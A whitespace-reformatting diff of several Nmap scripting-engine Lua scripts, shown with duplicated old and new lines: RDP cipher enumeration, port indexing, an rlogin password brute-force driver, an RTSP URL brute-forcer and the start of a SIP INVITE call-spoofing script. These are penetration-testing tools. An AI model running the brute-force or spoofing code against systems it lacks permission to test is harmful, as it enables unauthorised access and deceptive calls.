table.sort(res_proto)
|
||||||
return true, res_proto
|
return true, res_proto
|
||||||
end
|
end
|
||||||
|
|
||||||
local function enum_ciphers(host, port)
|
local function enum_ciphers(host, port)
|
||||||
|
|
||||||
local CIPHERS = {
|
local CIPHERS = {
|
||||||
{ ["40-bit RC4"] = 1 },
|
{ ["40-bit RC4"] = 1 },
|
||||||
{ ["56-bit RC4"] = 8 },
|
{ ["56-bit RC4"] = 8 },
|
||||||
{ ["128-bit RC4"] = 2 },
|
{ ["128-bit RC4"] = 2 },
|
||||||
{ ["FIPS 140-1"] = 16 }
|
{ ["FIPS 140-1"] = 16 }
|
||||||
}
|
}
|
||||||
|
|
||||||
local ENC_LEVELS = {
|
local ENC_LEVELS = {
|
||||||
[0] = "None",
|
[0] = "None",
|
||||||
[1] = "Low",
|
[1] = "Low",
|
||||||
[2] = "Client Compatible",
|
[2] = "Client Compatible",
|
||||||
[3] = "High",
|
[3] = "High",
|
||||||
[4] = "FIPS Compliant",
|
[4] = "FIPS Compliant",
|
||||||
}
|
}
|
||||||
|
|
||||||
local res_ciphers = {}
|
local res_ciphers = {}
|
||||||
|
|
||||||
local function get_ordered_ciphers()
|
local function get_ordered_ciphers()
|
||||||
local i = 0
|
local i = 0
|
||||||
return function()
|
return function()
|
||||||
i = i + 1
|
i = i + 1
|
||||||
if ( not(CIPHERS[i]) ) then return end
|
if ( not(CIPHERS[i]) ) then return end
|
||||||
for k,v in pairs(CIPHERS[i]) do
|
for k,v in pairs(CIPHERS[i]) do
|
||||||
return k, v
|
return k, v
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
for k, v in get_ordered_ciphers() do
|
for k, v in get_ordered_ciphers() do
|
||||||
local comm = rdp.Comm:new(host, port)
|
local comm = rdp.Comm:new(host, port)
|
||||||
if ( not(comm:connect()) ) then
|
if ( not(comm:connect()) ) then
|
||||||
return false, "ERROR: Failed to connect to server"
|
return false, "ERROR: Failed to connect to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local cr = rdp.Request.ConnectionRequest:new()
|
local cr = rdp.Request.ConnectionRequest:new()
|
||||||
local status, response = comm:exch(cr)
|
local status, response = comm:exch(cr)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
local msc = rdp.Request.MCSConnectInitial:new(v)
|
local msc = rdp.Request.MCSConnectInitial:new(v)
|
||||||
local status, response = comm:exch(msc)
|
local status, response = comm:exch(msc)
|
||||||
comm:close()
|
comm:close()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8)
|
local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8)
|
||||||
local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4)
|
local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4)
|
||||||
if ( enc_cipher == v ) then
|
if ( enc_cipher == v ) then
|
||||||
table.insert(res_ciphers, ("%s: SUCCESS"):format(k))
|
table.insert(res_ciphers, ("%s: SUCCESS"):format(k))
|
||||||
end
|
end
|
||||||
res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown")
|
res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown")
|
||||||
elseif ( nmap.debugging() > 0 ) then
|
elseif ( nmap.debugging() > 0 ) then
|
||||||
table.insert(res_ciphers, ("%s: FAILURE"):format(k))
|
table.insert(res_ciphers, ("%s: FAILURE"):format(k))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return true, res_ciphers
|
return true, res_ciphers
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local result = {}
|
local result = {}
|
||||||
|
|
||||||
local status, res_proto = enum_protocols(host, port)
|
local status, res_proto = enum_protocols(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return res_proto
|
return res_proto
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, res_ciphers = enum_ciphers(host, port)
|
local status, res_ciphers = enum_ciphers(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return res_ciphers
|
return res_ciphers
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(result, res_proto)
|
table.insert(result, res_proto)
|
||||||
table.insert(result, res_ciphers)
|
table.insert(result, res_ciphers)
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
@@ -37,20 +37,20 @@ postrule = function() return true end
|
|||||||
hostrule = function() return true end
|
hostrule = function() return true end
|
||||||
|
|
||||||
hostaction = function(host)
|
hostaction = function(host)
|
||||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||||
for _, s in ipairs({"open", "open|filtered"}) do
|
for _, s in ipairs({"open", "open|filtered"}) do
|
||||||
for _, p in ipairs({"tcp","udp"}) do
|
for _, p in ipairs({"tcp","udp"}) do
|
||||||
local host, port = host, nil
|
local host, port = host, nil
|
||||||
local db = nmap.registry[SCRIPT_NAME]
|
local db = nmap.registry[SCRIPT_NAME]
|
||||||
while( true ) do
|
while( true ) do
|
||||||
port = nmap.get_ports(host, port, p, s)
|
port = nmap.get_ports(host, port, p, s)
|
||||||
if ( not(port) ) then break end
|
if ( not(port) ) then break end
|
||||||
db[p] = db[p] or {}
|
db[p] = db[p] or {}
|
||||||
db[p][port.number] = db[p][port.number] or {}
|
db[p][port.number] = db[p][port.number] or {}
|
||||||
table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } )
|
table.insert(db[p][port.number], { ip = host.ip, port = port, proto = p, state = s } )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
--
|
--
|
||||||
@@ -71,30 +71,30 @@ end
|
|||||||
-- | 192.168.0.60
|
-- | 192.168.0.60
|
||||||
-- |_ 192.168.0.70
|
-- |_ 192.168.0.70
|
||||||
local function createVerticalResults(db)
|
local function createVerticalResults(db)
|
||||||
local results = {}
|
local results = {}
|
||||||
for proto, ports in pairs(db) do
|
for proto, ports in pairs(db) do
|
||||||
for port, entries in pairs(ports) do
|
for port, entries in pairs(ports) do
|
||||||
local result_entries = {}
|
local result_entries = {}
|
||||||
for _, entry in ipairs(entries) do
|
for _, entry in ipairs(entries) do
|
||||||
table.insert(result_entries, entry.ip)
|
table.insert(result_entries, entry.ip)
|
||||||
end
|
end
|
||||||
table.sort(result_entries)
|
table.sort(result_entries)
|
||||||
result_entries.name = ("%d/%s"):format(port, proto)
|
result_entries.name = ("%d/%s"):format(port, proto)
|
||||||
table.insert(results, result_entries)
|
table.insert(results, result_entries)
|
||||||
table.sort(results,
|
table.sort(results,
|
||||||
function(a,b)
|
function(a,b)
|
||||||
local a_port, a_proto = a.name:match("^(%d+)/(%w*)")
|
local a_port, a_proto = a.name:match("^(%d+)/(%w*)")
|
||||||
local b_port, b_proto = b.name:match("^(%d+)/(%w*)")
|
local b_port, b_proto = b.name:match("^(%d+)/(%w*)")
|
||||||
if ( a_proto == b_proto ) then
|
if ( a_proto == b_proto ) then
|
||||||
return ( tonumber(a_port) ) < ( tonumber(b_port) )
|
return ( tonumber(a_port) ) < ( tonumber(b_port) )
|
||||||
else
|
else
|
||||||
return a_proto < b_proto
|
return a_proto < b_proto
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
|
|
||||||
--
|
--
|
||||||
@@ -107,48 +107,48 @@ end
|
|||||||
-- | udp/53: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
|
-- | udp/53: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
|
||||||
-- |_ udp/5353: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
|
-- |_ udp/5353: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1
|
||||||
local function createHorizontalResults(db)
|
local function createHorizontalResults(db)
|
||||||
local results = {}
|
local results = {}
|
||||||
|
|
||||||
for proto, ports in pairs(db) do
|
for proto, ports in pairs(db) do
|
||||||
for port, entries in pairs(ports) do
|
for port, entries in pairs(ports) do
|
||||||
local result_entries = {}
|
local result_entries = {}
|
||||||
for _, entry in ipairs(entries) do
|
for _, entry in ipairs(entries) do
|
||||||
table.insert(result_entries, entry.ip)
|
table.insert(result_entries, entry.ip)
|
||||||
end
|
end
|
||||||
local ips = stdnse.strjoin(", ", result_entries)
|
local ips = stdnse.strjoin(", ", result_entries)
|
||||||
local str = ("%d/%s: %s"):format(port, proto, ips)
|
local str = ("%d/%s: %s"):format(port, proto, ips)
|
||||||
table.insert(results, str)
|
table.insert(results, str)
|
||||||
table.sort(results,
|
table.sort(results,
|
||||||
function(a,b)
|
function(a,b)
|
||||||
local a_port, a_proto = a:match("^(%d+)/(%w*):")
|
local a_port, a_proto = a:match("^(%d+)/(%w*):")
|
||||||
local b_port, b_proto = b:match("^(%d+)/(%w*):")
|
local b_port, b_proto = b:match("^(%d+)/(%w*):")
|
||||||
if ( a_proto == b_proto ) then
|
if ( a_proto == b_proto ) then
|
||||||
return ( tonumber(a_port) ) < ( tonumber(b_port) )
|
return ( tonumber(a_port) ) < ( tonumber(b_port) )
|
||||||
else
|
else
|
||||||
return a_proto < b_proto
|
return a_proto < b_proto
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
|
|
||||||
postaction = function()
|
postaction = function()
|
||||||
local db = nmap.registry[SCRIPT_NAME]
|
local db = nmap.registry[SCRIPT_NAME]
|
||||||
if ( db == nil ) then
|
if ( db == nil ) then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
local results
|
local results
|
||||||
local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal"
|
local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal"
|
||||||
|
|
||||||
if ( mode == 'horizontal' ) then
|
if ( mode == 'horizontal' ) then
|
||||||
results = createHorizontalResults(db)
|
results = createHorizontalResults(db)
|
||||||
else
|
else
|
||||||
results = createVerticalResults(db)
|
results = createVerticalResults(db)
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, results)
|
return stdnse.format_output(true, results)
|
||||||
end
|
end
|
||||||
|
|
||||||
local Actions = {
|
local Actions = {
|
||||||
|
|||||||
@@ -37,105 +37,105 @@ portrule = shortport.port_or_service(513, "login", "tcp")
|
|||||||
-- The rlogin Driver, check the brute.lua documentation for more details
|
-- The rlogin Driver, check the brute.lua documentation for more details
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
-- creates a new Driver instance
|
-- creates a new Driver instance
|
||||||
-- @param host table as received by the action function
|
-- @param host table as received by the action function
|
||||||
-- @param port table as received by the action function
|
-- @param port table as received by the action function
|
||||||
-- @return o instance of Driver
|
-- @return o instance of Driver
|
||||||
new = function(self, host, port, options)
|
new = function(self, host, port, options)
|
||||||
local o = { host = host, port = port, timeout = options.timeout }
|
local o = { host = host, port = port, timeout = options.timeout }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
-- connects to the rlogin service
|
-- connects to the rlogin service
|
||||||
-- it sets the source port to a random value between 513 and 1024
|
-- it sets the source port to a random value between 513 and 1024
|
||||||
connect = function(self)
|
connect = function(self)
|
||||||
|
|
||||||
local status
|
local status
|
||||||
|
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
-- apparently wee need a source port below 1024
|
-- apparently wee need a source port below 1024
|
||||||
-- this approach is not very elegant as it causes address already in
|
-- this approach is not very elegant as it causes address already in
|
||||||
-- use errors when the same src port is hit in a short time frame.
|
-- use errors when the same src port is hit in a short time frame.
|
||||||
-- hopefully the retry count should take care of this as a retry
|
-- hopefully the retry count should take care of this as a retry
|
||||||
-- should choose a new random port as source.
|
-- should choose a new random port as source.
|
||||||
local srcport = math.random(513, 1024)
|
local srcport = math.random(513, 1024)
|
||||||
self.socket:bind(nil, srcport)
|
self.socket:bind(nil, srcport)
|
||||||
self.socket:set_timeout(self.timeout)
|
self.socket:set_timeout(self.timeout)
|
||||||
local err
|
local err
|
||||||
status, err = self.socket:connect(self.host, self.port)
|
status, err = self.socket:connect(self.host, self.port)
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local lport, _
|
local lport, _
|
||||||
status, _, lport = self.socket:get_info()
|
status, _, lport = self.socket:get_info()
|
||||||
if (not(status) ) then
|
if (not(status) ) then
|
||||||
return false, "failed to retrieve socket status"
|
return false, "failed to retrieve socket status"
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
end
|
end
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
stdnse.print_debug(3, "ERROR: failed to connect to server")
|
stdnse.print_debug(3, "ERROR: failed to connect to server")
|
||||||
end
|
end
|
||||||
return status
|
return status
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function(self, username, password)
|
login = function(self, username, password)
|
||||||
local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username)
|
local data = ("\0%s\0%s\0vt100/9600\0"):format(username, username)
|
||||||
local status, err = self.socket:send(data)
|
local status, err = self.socket:send(data)
|
||||||
|
|
||||||
status, data = self.socket:receive()
|
status, data = self.socket:receive()
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
local err = brute.Error:new("Failed to read response from server")
|
local err = brute.Error:new("Failed to read response from server")
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
if ( data ~= "\0" ) then
|
if ( data ~= "\0" ) then
|
||||||
stdnse.print_debug(2, "ERROR: Expected null byte")
|
stdnse.print_debug(2, "ERROR: Expected null byte")
|
||||||
local err = brute.Error:new( "Expected null byte" )
|
local err = brute.Error:new( "Expected null byte" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = self.socket:receive()
|
status, data = self.socket:receive()
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
local err = brute.Error:new("Failed to read response from server")
|
local err = brute.Error:new("Failed to read response from server")
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
if ( data ~= "Password: " ) then
|
if ( data ~= "Password: " ) then
|
||||||
stdnse.print_debug(2, "ERROR: Expected password prompt")
|
stdnse.print_debug(2, "ERROR: Expected password prompt")
|
||||||
local err = brute.Error:new( "Expected password prompt" )
|
local err = brute.Error:new( "Expected password prompt" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, err = self.socket:send(password .. "\r")
|
status, err = self.socket:send(password .. "\r")
|
||||||
status, data = self.socket:receive()
|
status, data = self.socket:receive()
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
local err = brute.Error:new("Failed to read response from server")
|
local err = brute.Error:new("Failed to read response from server")
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = self.socket:receive()
|
status, data = self.socket:receive()
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
local err = brute.Error:new("Failed to read response from server")
|
local err = brute.Error:new("Failed to read response from server")
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then
|
if ( data:match("[Pp]assword") or data:match("[Ii]ncorrect") ) then
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end
|
end
|
||||||
|
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self)
|
disconnect = function(self)
|
||||||
return self.socket:close()
|
return self.socket:close()
|
||||||
end,
|
end,
|
||||||
}
|
}
|
||||||
|
|
||||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||||
@@ -143,16 +143,16 @@ arg_timeout = (arg_timeout or 10) * 1000
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
if ( not(nmap.is_privileged()) ) then
|
if ( not(nmap.is_privileged()) ) then
|
||||||
return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode"
|
return "\n ERROR: rlogin-brute needs Nmap to be run in privileged mode"
|
||||||
end
|
end
|
||||||
|
|
||||||
local options = {
|
local options = {
|
||||||
timeout = arg_timeout
|
timeout = arg_timeout
|
||||||
}
|
}
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port, options)
|
local engine = brute.Engine:new(Driver, host, port, options)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local status, result = engine:start()
|
local status, result = engine:start()
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -44,17 +44,17 @@ portrule = shortport.port_or_service(554, "rtsp", "tcp", "open")
|
|||||||
-- @param filename string containing the name of the file to read from
|
-- @param filename string containing the name of the file to read from
|
||||||
-- @return url string containing the relative RTSP url
|
-- @return url string containing the relative RTSP url
|
||||||
urlIterator = function(fd)
|
urlIterator = function(fd)
|
||||||
local function getNextUrl ()
|
local function getNextUrl ()
|
||||||
repeat
|
repeat
|
||||||
local line = fd:read()
|
local line = fd:read()
|
||||||
if ( line and not(line:match('^#!comment:')) ) then
|
if ( line and not(line:match('^#!comment:')) ) then
|
||||||
coroutine.yield(line)
|
coroutine.yield(line)
|
||||||
end
|
end
|
||||||
until(not(line))
|
until(not(line))
|
||||||
fd:close()
|
fd:close()
|
||||||
while(true) do coroutine.yield(nil) end
|
while(true) do coroutine.yield(nil) end
|
||||||
end
|
end
|
||||||
return coroutine.wrap( getNextUrl )
|
return coroutine.wrap( getNextUrl )
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Fetches the next url from the iterator, creates an absolute url and tries
|
-- Fetches the next url from the iterator, creates an absolute url and tries
|
||||||
@@ -64,101 +64,101 @@ end
|
|||||||
-- @param url_iter function containing the url iterator
|
-- @param url_iter function containing the url iterator
|
||||||
-- @param result table containing the urls that were successfully retrieved
|
-- @param result table containing the urls that were successfully retrieved
|
||||||
local function processURL(host, port, url_iter, result)
|
local function processURL(host, port, url_iter, result)
|
||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
for u in url_iter do
|
for u in url_iter do
|
||||||
local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or
|
local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or
|
||||||
( host.name and #host.name > 0 ) and host.name or
|
( host.name and #host.name > 0 ) and host.name or
|
||||||
host.ip
|
host.ip
|
||||||
local url = ("rtsp://%s%s"):format(name, u)
|
local url = ("rtsp://%s%s"):format(name, u)
|
||||||
local helper = rtsp.Helper:new(host, port)
|
local helper = rtsp.Helper:new(host, port)
|
||||||
local status = helper:connect()
|
local status = helper:connect()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url)
|
stdnse.print_debug(2, "ERROR: Connecting to RTSP server url: %s", url)
|
||||||
table.insert(result, { url = url, status = -1 } )
|
table.insert(result, { url = url, status = -1 } )
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
local response
|
local response
|
||||||
status, response = helper:describe(url)
|
status, response = helper:describe(url)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url)
|
stdnse.print_debug(2, "ERROR: Sending DESCRIBE request to url: %s", url)
|
||||||
table.insert(result, { url = url, status = -1 } )
|
table.insert(result, { url = url, status = -1 } )
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(result, { url = url, status = response.status } )
|
table.insert(result, { url = url, status = response.status } )
|
||||||
helper:close()
|
helper:close()
|
||||||
end
|
end
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local response
|
local response
|
||||||
local result = {}
|
local result = {}
|
||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10
|
local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10
|
||||||
local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or
|
local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or
|
||||||
nmap.fetchfile("nselib/data/rtsp-urls.txt")
|
nmap.fetchfile("nselib/data/rtsp-urls.txt")
|
||||||
|
|
||||||
threadcount = tonumber(threadcount)
|
threadcount = tonumber(threadcount)
|
||||||
|
|
||||||
if ( not(filename) ) then
|
if ( not(filename) ) then
|
||||||
return stdnse.format_output(false, "No dictionary could be loaded")
|
return stdnse.format_output(false, "No dictionary could be loaded")
|
||||||
end
|
end
|
||||||
|
|
||||||
local f = io.open(filename)
|
local f = io.open(filename)
|
||||||
if ( not(f) ) then
|
if ( not(f) ) then
|
||||||
return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename))
|
return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename))
|
||||||
end
|
end
|
||||||
|
|
||||||
local url_iter = urlIterator(f)
|
local url_iter = urlIterator(f)
|
||||||
if ( not(url_iter) ) then
|
if ( not(url_iter) ) then
|
||||||
return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f))
|
return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f))
|
||||||
end
|
end
|
||||||
|
|
||||||
local threads = {}
|
local threads = {}
|
||||||
for t=1, threadcount do
|
for t=1, threadcount do
|
||||||
local co = stdnse.new_thread(processURL, host, port, url_iter, result)
|
local co = stdnse.new_thread(processURL, host, port, url_iter, result)
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
repeat
|
repeat
|
||||||
for t in pairs(threads) do
|
for t in pairs(threads) do
|
||||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||||
end
|
end
|
||||||
if ( next(threads) ) then
|
if ( next(threads) ) then
|
||||||
condvar "wait"
|
condvar "wait"
|
||||||
end
|
end
|
||||||
until( next(threads) == nil )
|
until( next(threads) == nil )
|
||||||
|
|
||||||
-- urls that could not be retrieved due to low level errors, such as
|
-- urls that could not be retrieved due to low level errors, such as
|
||||||
-- failure in socket send or receive
|
-- failure in socket send or receive
|
||||||
local failure_urls = { name='An error occured while testing the following URLs' }
|
local failure_urls = { name='An error occured while testing the following URLs' }
|
||||||
|
|
||||||
-- urls that illicited a 200 OK response
|
-- urls that illicited a 200 OK response
|
||||||
local success_urls = { name='Discovered URLs' }
|
local success_urls = { name='Discovered URLs' }
|
||||||
|
|
||||||
-- urls requiring authentication
|
-- urls requiring authentication
|
||||||
-- local auth_urls = { name='URL requiring authentication' }
|
-- local auth_urls = { name='URL requiring authentication' }
|
||||||
|
|
||||||
for _, r in ipairs(result) do
|
for _, r in ipairs(result) do
|
||||||
if ( r.status == -1 ) then
|
if ( r.status == -1 ) then
|
||||||
table.insert(failure_urls, r.url)
|
table.insert(failure_urls, r.url)
|
||||||
elseif ( r.status == 200 ) then
|
elseif ( r.status == 200 ) then
|
||||||
table.insert(success_urls, r.url)
|
table.insert(success_urls, r.url)
|
||||||
-- elseif ( r.status == 401 ) then
|
-- elseif ( r.status == 401 ) then
|
||||||
-- table.insert(auth_urls, r.url )
|
-- table.insert(auth_urls, r.url )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local result = { success_urls, failure_urls }
|
local result = { success_urls, failure_urls }
|
||||||
|
|
||||||
-- -- insert our URLs requiring auth ONLY if not ALL urls returned auth
|
-- -- insert our URLs requiring auth ONLY if not ALL urls returned auth
|
||||||
-- if (#result > #auth_urls) then
|
-- if (#result > #auth_urls) then
|
||||||
-- table.insert(result, 2, auth_urls)
|
-- table.insert(result, 2, auth_urls)
|
||||||
-- end
|
-- end
|
||||||
|
|
||||||
return stdnse.format_output(true, result )
|
return stdnse.format_output(true, result )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -58,18 +58,18 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
|
|||||||
-- @return status True if we got a response, false else.
|
-- @return status True if we got a response, false else.
|
||||||
-- @return resp Response table if status is true, error string else.
|
-- @return resp Response table if status is true, error string else.
|
||||||
local sendinvite = function(session, ua, from, src, extension)
|
local sendinvite = function(session, ua, from, src, extension)
|
||||||
local request = sip.Request:new(sip.Method.INVITE)
|
local request = sip.Request:new(sip.Method.INVITE)
|
||||||
|
|
||||||
request:setUri("sip:" .. session.sessdata:getServer())
|
request:setUri("sip:" .. session.sessdata:getServer())
|
||||||
request:setUA(ua)
|
request:setUA(ua)
|
||||||
if src then
|
if src then
|
||||||
session.sessdata:setDomain(src)
|
session.sessdata:setDomain(src)
|
||||||
end
|
end
|
||||||
session.sessdata:setUsername(extension)
|
session.sessdata:setUsername(extension)
|
||||||
session.sessdata:setName(from)
|
session.sessdata:setName(from)
|
||||||
request:setSessionData(session.sessdata)
|
request:setSessionData(session.sessdata)
|
||||||
|
|
||||||
return session:exch(request)
|
return session:exch(request)
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Function that waits for certain responses for an amount of time.
|
--- Function that waits for certain responses for an amount of time.
|
||||||
@@ -79,31 +79,31 @@ end
|
|||||||
-- @return responsecode Code for the latest meaningful response.
|
-- @return responsecode Code for the latest meaningful response.
|
||||||
-- could be 180, 200, 486, 408 or 603
|
-- could be 180, 200, 486, 408 or 603
|
||||||
local waitresponses = function(session,timeout)
|
local waitresponses = function(session,timeout)
|
||||||
local response, status, data, responsecode, ringing, waittime
|
local response, status, data, responsecode, ringing, waittime
|
||||||
local start = nmap.clock_ms()
|
local start = nmap.clock_ms()
|
||||||
|
|
||||||
while (nmap.clock_ms() - start) < timeout do
|
while (nmap.clock_ms() - start) < timeout do
|
||||||
status, data = session.conn:recv()
|
status, data = session.conn:recv()
|
||||||
if status then
|
if status then
|
||||||
response = sip.Response:new(data)
|
response = sip.Response:new(data)
|
||||||
responsecode = response:getErrorCode()
|
responsecode = response:getErrorCode()
|
||||||
waittime = nmap.clock_ms() - start
|
waittime = nmap.clock_ms() - start
|
||||||
if responsecode == sip.Error.RING then
|
if responsecode == sip.Error.RING then
|
||||||
ringing = true
|
ringing = true
|
||||||
elseif responsecode == sip.Error.BUSY then
|
elseif responsecode == sip.Error.BUSY then
|
||||||
return ringing, sip.Error.BUSY
|
return ringing, sip.Error.BUSY
|
||||||
elseif responsecode == sip.Error.DECLINE then
|
elseif responsecode == sip.Error.DECLINE then
|
||||||
return ringing, sip.Error.DECLINE, waittime
|
return ringing, sip.Error.DECLINE, waittime
|
||||||
elseif responsecode == sip.Error.OK then
|
elseif responsecode == sip.Error.OK then
|
||||||
return ringing, sip.Error.OK, waittime
|
return ringing, sip.Error.OK, waittime
|
||||||
elseif responsecode == sip.Error.TIMEOUT then
|
elseif responsecode == sip.Error.TIMEOUT then
|
||||||
return ringing, sip.Error.OK
|
return ringing, sip.Error.OK
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
if ringing then
|
|
||||||
return ringing, sip.Error.RING
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
if ringing then
|
||||||
|
return ringing, sip.Error.RING
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Function that spoofs an invite request and listens for responses.
|
--- Function that spoofs an invite request and listens for responses.
|
||||||
@@ -118,54 +118,54 @@ end
|
|||||||
-- could be 180, 200, 486, 408 or 603
|
-- could be 180, 200, 486, 408 or 603
|
||||||
local invitespoof = function(session, ua, from, src, extension, timeout)
|
local invitespoof = function(session, ua, from, src, extension, timeout)
|
||||||
|
|
||||||
local status, response = sendinvite(session, ua, from, src, extension)
|
local status, response = sendinvite(session, ua, from, src, extension)
|
||||||
-- check if we got a 100 Trying response.
|
-- check if we got a 100 Trying response.
|
||||||
if status and response:getErrorCode() == 100 then
|
if status and response:getErrorCode() == 100 then
|
||||||
-- wait for responses
|
-- wait for responses
|
||||||
return waitresponses(session, timeout)
|
return waitresponses(session, timeout)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, session
|
local status, session
|
||||||
|
|
||||||
local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga"
|
